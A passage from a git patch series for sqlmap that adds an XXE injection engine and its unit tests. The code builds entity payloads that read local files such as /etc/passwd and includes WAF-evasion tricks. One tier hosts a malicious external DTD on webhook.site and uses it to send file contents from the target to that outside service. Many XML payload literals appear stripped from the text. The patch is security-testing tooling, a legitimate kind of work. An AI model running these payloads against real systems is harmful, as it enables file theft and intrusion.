OOB_EXFIL_DEFAULT_FILE + resource = fileName if fileName.startswith("/") else "/" + fileName + marker = randomStr(10, lowercase=True) + # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) + reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True), + ("file://%s" % resource, False)) + + def _extract(page, isB64): + pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) + match = re.search(pattern, getUnicode(page)) + if not match: + return None + if isB64: + try: + return getText(decodeBase64(match.group(1))) or None + except Exception: + return None + return match.group(1) + + # (a) local-DTD repurposing - no egress + for dtdPath, entName in XXE_LOCAL_DTDS: + for systemId, isB64 in reads: + inner = ('' + '">' + '%eval;%error;') % (systemId, marker) + subset = '\n\n%%local_dtd;' % (dtdPath, entName, inner) + content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64) + if content: + return content, fileName + + # (b) DTD we host on the exfil service - egress + verbose errors (third party) + if not _oobEnabled(): + return None, None + from lib.request.webhooksite import WebhookSite + wh = WebhookSite() + for systemId, isB64 in reads: + dtd = ('\n' + '">\n' + '%%eval;\n%%error;') % (systemId, marker) + token = wh.newToken(dtd) + if not token: + break + content = _extract(_send(_buildDoctype(xml, rootName, ' %%dtd;' % wh.hostUrl(token))), isB64) + if content: + return content, fileName + + return None, None + + +def _tryXInclude(xml, rootName, baseline): + """T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as + text. Confirmed when the file content appears in the response (baseline-guarded).""" + + for systemId, pattern in XXE_IMPACT_FILES: + snippet = '' % systemId + payload = _placeRef(xml, snippet) + confirmed = _confirmRead(_send(payload), pattern, baseline) + if confirmed: + return payload, systemId, confirmed + return None, None, None + + +def _tryEvasions(xml, rootName, baseline): + """T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail. + Each transform keeps the payload semantically identical while defeating a + common naive filter, so a reachable-but-filtered parser can still be caught. + Returns (title, payload) on a confirmed hit.""" + + # (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while + # ASCII byte-signature WAFs (grepping for "' % (ent, SENTINEL) + body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike + if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline: + return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body) + + # (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist + # the SYSTEM identifier; the second literal is still the resolved system id. + subset = '\n%%xxe;' % SENTINEL + body = _buildDoctype(xml, rootName, subset) + page = _send(body) + if SENTINEL in page and not _echoed(page): + return "Error-based via PUBLIC keyword (WAF evasion)", body + + return None, None + + +def _timed(body, timeout): + """One request, returning wall-clock seconds. ignoreTimeout keeps a stalled + parser from raising, so the elapsed time itself is the signal.""" + start = time.time() + try: + Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), + raise404=False, silent=True, ignoreTimeout=True, timeout=timeout) + except Exception: + pass + return time.time() - start + + +def _tryTimeBlind(xml, rootName): + """T6 last-resort blind detection with NO collector: an external parameter + entity aimed at a non-routable TEST-NET host stalls a fetching parser on the + connection. Confirmed only on a large, reproducible delay measured against a + DTD-processing control (an internal parameter entity, no fetch) - so DTD + overhead alone cannot trip it and only the outbound-fetch stall counts.""" + + control = _buildDoctype(xml, rootName, '\n%%c;') + baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout)) + threshold = baseline + XXE_TIME_THRESHOLD + probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3) + + # Bound each stalled probe: the per-call timeout kwarg does not reach a pooled + # socket, so cap via conf.timeout (the value the connection actually uses) and + # drop conf.retries so a stall is not re-sent. Restored in finally. + _timeout, _retries = conf.timeout, conf.retries + conf.timeout, conf.retries = probeTimeout, 0 + try: + subset = '\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + + if _timed(payload, probeTimeout) < threshold: + return None + if _timed(payload, probeTimeout) < threshold: # must reproduce + return None + return payload + finally: + conf.timeout, conf.retries = _timeout, _retries + + +def _oobEnabled(): + """Out-of-band tiers contact a public third party by default. Honour an explicit + opt-out (`--oob-server none`) for sensitive engagements.""" + return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") + + +def _tryOobExfil(xml, rootName): + """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on + a public content+logging service (webhook.site), point the target's parser at + it, and read the file it ships back out. The DTD uses the classic nested + parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64 + so any file survives the callback URL. The DTD-fetch itself doubles as blind + detection. Reads conf.fileRead if given, else a benign default. Returns a dict + {payload, filename, content, detected} or None if the service is unusable.""" + + from lib.core.convert import decodeBase64 + from lib.request.webhooksite import WebhookSite + + wh = WebhookSite() + exfilToken = wh.newToken() + if not exfilToken: + logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") + return None + + target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE + exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken) + dtd = ('\n' + '">\n' + '%%eval;\n%%exfil;') % (target, exfilUrl) + dtdToken = wh.newToken(dtd) + if not dtdToken: + return None + + singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint) + payload = _buildDoctype(xml, rootName, ' %%dtd;' % wh.hostUrl(dtdToken)) + _send(payload) + + content, detected = None, False + for _ in range(OOB_POLL_ATTEMPTS): + time.sleep(OOB_POLL_DELAY) + for record in wh.captured(exfilToken): + leaked = (record.get("query") or {}).get("x") + if leaked: + try: + content = getText(decodeBase64(leaked)) + except Exception: + content = getText(leaked) + break + if content: + break + if not detected and wh.captured(dtdToken): + detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil + + if not detected: + detected = bool(wh.captured(dtdToken)) + return {"payload": payload, "filename": target, "content": content, "detected": detected} + + +def _tryOob(xml, rootName): + """T7 blind confirmation via an out-of-band collector (interactsh): an external + parameter entity points at a unique callback URL. If the target's parser fetches + it (or even just resolves its DNS), the collector records the interaction and we + poll it back - definitive proof of blind XXE with egress, and it names the + channel (HTTP vs DNS-only). Returns (payload, protocol) or None.""" + + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)") + return None + + client = Interactsh(server=conf.get("oobServer")) + if not client.registered: + logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)") + return None + + singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server) + try: + url = client.url() + subset = '\n%%oob;' % url + payload = _buildDoctype(xml, rootName, subset) + _send(payload) + interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY) + if interactions: + protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions)) + return payload, ", ".join(protocols) + finally: + client.close() + return None + + +def xxeScan(): + global SENTINEL + SENTINEL = randomStr(length=12, lowercase=True) + + debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " + debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored" + logger.debug(debugMsg) + + xml = _cleanBody() + if not _looksXml(xml): + logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')") + return + + rootName = _rootName(xml) + if not rootName: + logger.error("could not locate the document root element in the XML body") + return + + logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName) + + baseline = _send(xml) + found = False + + # T2: in-band reflected (internal entity expansion) - the strongest oracle + payload, page = _tryInternal(xml, rootName, baseline) + if payload: + found = True + logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)") + _report("In-band (reflected internal entity)", payload) + + if conf.get("fileRead"): + content = _tryInbandFileRead(xml, rootName, conf.fileRead) + if content: + logger.info("in-band file read of '%s' succeeded" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) + _dumpFileRead(conf.fileRead, content) + + systemId, snippet = _tryExternalFile(xml, rootName, baseline) + if systemId: + logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet)) + _report("Out-of-band file read (external entity '%s')" % systemId, " -> %s" % (systemId, snippet)) + else: + phpPayload = _tryPhpFilter(xml, rootName, baseline) + if phpPayload: + logger.info("file-read impact confirmed via php://filter (base64 source disclosure)") + _report("File read via php://filter (base64)", phpPayload) + + # T3: error-based (works where entities are not reflected but errors leak) + errorChannel = False + if not found: + payload, page = _tryError(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend) + _report("Error-based (parameter entity, back-end: '%s')" % backend, payload) + + # T3b: no-egress error-based via local-DTD repurposing + if not found: + payload, page = _tryLocalDtd(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") + _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) + + # T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an + # in-band file read (or attempt it directly when the user asked via --file-read) + if errorChannel or conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName) + if content: + found = True + logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName) + _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) + _dumpFileRead(fileName, content) + + # T4: XInclude fallback (no DOCTYPE/entity control needed) + if not found: + payload, systemId, snippet = _tryXInclude(xml, rootName, baseline) + if payload: + found = True + logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) + _report("XInclude file read ('%s')" % systemId, payload) + + # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM) + if not found: + title, payload = _tryEvasions(xml, rootName, baseline) + if title: + found = True + logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower()) + _report(title, payload) + + # T6: time-based blind (no collector, no third party) - external entity to a non-routable host + if not found: + logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow") + payload = _tryTimeBlind(xml, rootName) + if payload: + found = True + logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") + _report("Time-based blind (external entity to non-routable host)", payload) + + # T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE) + if not found and _oobEnabled(): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + + # T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback) + if not found and _oobEnabled(): + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + + if not found: + # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser + # from a merely non-reflecting one so the user knows why it did not fire. + probe = _send(_buildDoctype(xml, rootName, '%%p;' % SENTINEL)) + if re.search(XXE_HARDENED_REGEX, getUnicode(probe)): + logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)") + else: + backend = _fingerprint(probe) + if backend: + logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend) + logger.warning("the XML body does not appear to be injectable via XXE") + return + + logger.info("XXE scan complete") diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py index 613518b7aa2..234781297f3 100644 --- a/tests/test_dns_server.py +++ b/tests/test_dns_server.py @@ -23,7 +23,7 @@ sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) from lib.core.settings import MAX_DNS_REQUESTS -from lib.request.dns import DNSQuery, DNSServer +from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer def build_query(name, tid=b"\x12\x34", qtype=1): @@ -324,3 +324,41 @@ def worker(i): if __name__ == "__main__": unittest.main(verbosity=2) + + +class TestInteractshDNSServer(unittest.TestCase): + """The interactsh-backed DNS collector must present the same pop(prefix, suffix) + accounting as DNSServer, matching only prefix..suffix names and never + returning the same captured lookup twice.""" + + def _collector(self, names): + class _FakeClient(object): + registered = True + def dnsDomain(self): return "corr0000000000000nnc.oast.fun" + def dnsNames(self): return list(names) + srv = InteractshDNSServer.__new__(InteractshDNSServer) + srv._client = _FakeClient() + srv.domain = srv._client.dnsDomain() + srv._seen = set() + srv._running = True + srv._initialized = True + return srv + + def test_pop_matches_prefix_suffix_and_dedups(self): + names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"] + srv = self._collector(names) + got = srv.pop("aaa", "zzz") + self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc") + self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed + + def test_pop_no_match(self): + srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"]) + self.assertIsNone(srv.pop("aaa", "zzz")) + + def test_pop_any(self): + srv = self._collector(["whatever.corr0000000000000nnc"]) + self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc") + + def test_run_is_noop(self): + self._collector([]).run() # must not raise + diff --git a/tests/test_xxe.py b/tests/test_xxe.py new file mode 100644 index 00000000000..0c29c058513 --- /dev/null +++ b/tests/test_xxe.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the XXE injection engine. Pure helpers are exercised +directly; detection tiers run against a mocked _send() so reflected/error/echo oracles +can be simulated without a live target; and crafted payloads are parsed with real lxml +to prove they are well-formed and actually expand the injected entity. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.xxe.inject as xxe +from lib.core.data import conf +from lib.core.data import kb + + +class TestLooksXmlAndClean(unittest.TestCase): + def test_looks_xml(self): + self.assertTrue(xxe._looksXml("x")) + self.assertTrue(xxe._looksXml(" ")) + self.assertFalse(xxe._looksXml("id=1&name=x")) + self.assertFalse(xxe._looksXml("{\"a\": 1}")) + self.assertFalse(xxe._looksXml("")) + + def test_clean_body_strips_marks_and_bom(self): + conf.data = u"\ufeffluther%s" % (kb.customInjectionMark or "*") + cleaned = xxe._cleanBody() + self.assertFalse(cleaned.startswith(u"\ufeff")) + self.assertNotIn(kb.customInjectionMark or "*", cleaned) + self.assertTrue(cleaned.startswith("")) + + +class TestRootName(unittest.TestCase): + def test_plain(self): + self.assertEqual(xxe._rootName("x"), "user") + + def test_with_prolog_and_comment(self): + self.assertEqual(xxe._rootName("x"), "order") + + def test_namespaced(self): + self.assertEqual(xxe._rootName(''), "soap:Envelope") + + def test_existing_doctype_skipped(self): + self.assertEqual(xxe._rootName(''), "user") + + +class TestBuildDoctype(unittest.TestCase): + SUBSET = '' + + def test_no_doctype_prepended(self): + out = xxe._buildDoctype("x", "r", self.SUBSET) + self.assertIn("x", "r", self.SUBSET) + self.assertLess(out.index("]>x", "r", self.SUBSET) + self.assertEqual(out.count("x', "r", self.SUBSET) + self.assertEqual(out.count("onetwo

", "&e;") + self.assertEqual(out.count("&e;"), 2) + self.assertNotIn("one", out) + self.assertNotIn("two", out) + + def test_attributes_only_when_requested(self): + text = 'luther' + self.assertNotIn('id="&e;"', xxe._placeRef(text, "&e;")) # attrs off by default + self.assertIn('id="&e;"', xxe._placeRef(text, "&e;", attrs=True)) # attrs on + + def test_xmlns_preserved(self): + out = xxe._placeRef('x', "&e;", attrs=True) + self.assertIn('xmlns:soap="ns"', out) # namespace decl untouched + + def test_self_closing_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + self.assertIn("", out) + + def test_empty_element_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + + +class TestGuards(unittest.TestCase): + def test_echoed(self): + self.assertTrue(xxe._echoed("... luther
", "u", baseline="Hello, luther!") + self.assertIsNotNone(payload) + + def test_internal_echo_rejected(self): + # endpoint mirrors the raw body back (never parses) -> must NOT be a hit + xxe._send = lambda body: "You sent: %s" % body + payload, _ = xxe._tryInternal("luther", "u", baseline="You sent: luther") + self.assertIsNone(payload) + + def test_internal_baseline_contains_sentinel_rejected(self): + xxe._send = lambda body: "Hello, %s!" % xxe.SENTINEL + payload, _ = xxe._tryInternal("luther", "u", baseline="already %s here" % xxe.SENTINEL) + self.assertIsNone(payload) + + def test_error_based_positive(self): + xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL + payload, page = xxe._tryError("x", "u") + self.assertIsNotNone(payload) + self.assertIsNotNone(xxe._fingerprint(page)) + + def test_error_based_echo_rejected(self): + xxe._send = lambda body: "You sent: %s" % body # echoes DOCTYPE/ENTITY -> _echoed guard + payload, _ = xxe._tryError("x", "u") + self.assertIsNone(payload) + + def test_error_exfil_extraction_base64(self): + import base64 + from lib.core.convert import getText + secret = getText(base64.b64encode(b"root:x:0:0:root:/root:/bin/sh")) + + def mock(body): + m = re.search(r'file:///(\w+)/%file;', body) or re.search(r'file:///(\w+)/%file;', body) + marker = m.group(1) if m else "zzz" + return 'failed to load "file:///%s/%s"' % (marker, secret) + + xxe._send = mock + conf.fileRead = "/etc/passwd" + try: + content, name = xxe._tryErrorExfil("x", "u") + finally: + conf.fileRead = None + self.assertEqual(name, "/etc/passwd") + self.assertIn("root:x:0:0", content or "") + + +class TestRealXmlPayloads(unittest.TestCase): + """Prove crafted payloads are well-formed and actually expand the entity.""" + + @staticmethod + def _expand(payload): + try: + from lxml import etree + except ImportError: + raise unittest.SkipTest("lxml not available") + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True, huge_tree=False) + doc = etree.fromstring(payload.encode("utf-8"), parser) + return "".join(doc.itertext()) + + def test_internal_entity_expands(self): + xxe.SENTINEL = "realxmlsentinel" + ent = "abcd" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype("luther", "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_internal_entity_expands_with_existing_doctype(self): + xxe.SENTINEL = "realxmlsentinel2" + ent = "efgh" + subset = '' % (ent, xxe.SENTINEL) + base = ']>luther' + payload = xxe._placeRef(xxe._buildDoctype(base, "u", subset), "&%s;" % ent) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + def test_attribute_entity_expands(self): + xxe.SENTINEL = "attrsentinel" + ent = "ijkl" + subset = '' % (ent, xxe.SENTINEL) + payload = xxe._placeRef(xxe._buildDoctype('x', "u", subset), "&%s;" % ent, attrs=True) + self.assertIn(xxe.SENTINEL, self._expand(payload)) + + +if __name__ == "__main__": + unittest.main() From 3cf29a543a7d7913ac04fb6b5fd771707438d72b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 10:36:10 +0200 Subject: [PATCH 682/853] Refactoring for --xxe --- data/txt/sha256sums.txt | 10 +- lib/core/settings.py | 12 +- lib/request/interactsh.py | 8 +- lib/request/webhooksite.py | 32 ++++- lib/techniques/xxe/inject.py | 232 +++++++++++++++++++++++------------ tests/test_xxe.py | 116 ++++++++++++++++++ 6 files changed, 313 insertions(+), 97 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ed2947c53ff..e1c20292623 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py +c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -220,14 +220,14 @@ b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py +df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py -58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 lib/request/webhooksite.py +b53a750d957dc50cee15261358cafc3d339b8b28d70ebecf202009d0c13037a6 lib/request/webhooksite.py 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py +d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py +b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f4522c89ac..86505b7b14e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.24" +VERSION = "1.10.7.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1102,13 +1102,12 @@ OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") # Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration # (hosts the malicious external DTD and captures the file-bearing callback). Unlike -# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign. +# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent. OOB_EXFIL_ENDPOINT = "https://webhook.site" -OOB_EXFIL_DEFAULT_FILE = "/etc/hostname" OOB_CORRELATION_ID_LENGTH = 20 OOB_NONCE_LENGTH = 13 -OOB_POLL_ATTEMPTS = 5 -OOB_POLL_DELAY = 2 +OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the +OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort) # Time-based blind tier: an external entity aimed at this non-routable RFC5737 # TEST-NET-1 host makes a fetching parser stall on the connection, so a large, @@ -1118,9 +1117,8 @@ XXE_TIME_THRESHOLD = 5 XXE_IMPACT_FILES = ( - ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), - ("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last ) # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py index b089dcd759c..e57a09537bc 100644 --- a/lib/request/interactsh.py +++ b/lib/request/interactsh.py @@ -88,9 +88,13 @@ def _request(self, url, post=None): handlers = [] try: + # Verify TLS for the (public, valid-cert) interaction server by default; + # only skip verification when the user has globally opted out (--force-ssl-verify + # off / verifyCert False), matching sqlmap's own TLS posture. context = ssl.create_default_context() - context.check_hostname = False - context.verify_mode = ssl.CERT_NONE + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE handlers.append(HTTPSHandler(context=context)) except Exception: pass diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py index 9191ae3ff76..dac6edf6b70 100644 --- a/lib/request/webhooksite.py +++ b/lib/request/webhooksite.py @@ -7,11 +7,12 @@ import json +from lib.core.data import conf from lib.core.data import logger +from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.enums import HTTP_HEADER from lib.core.settings import OOB_EXFIL_ENDPOINT -from lib.request.connect import Connect as Request # webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom # response (our malicious external DTD) AND log the request the target then makes @@ -21,8 +22,9 @@ class WebhookSite(object): """Thin webhook.site client: mints tokens (optionally serving fixed content) - and reads back the requests captured on them. All calls go through sqlmap's - request stack (proxy/timeout honoured) straight to the service, not the target.""" + and reads back the requests captured on them. Self-contained on urllib (like the + interactsh client): sqlmap's getPage caches by URL, which would make repeated + polls of the same /requests URL return a stale snapshot and miss the callback.""" def __init__(self): # Exfil host is the public content-serving endpoint (its token API is @@ -32,10 +34,28 @@ def __init__(self): def _api(self, path, post=None): try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} - page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post, - auxHeaders=headers, direct=True, silent=True, raise404=False) - return page if (code is None or code in (200, 201)) else None + handlers = [] + try: + context = ssl.create_default_context() + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) except Exception as ex: logger.debug("webhook.site request to 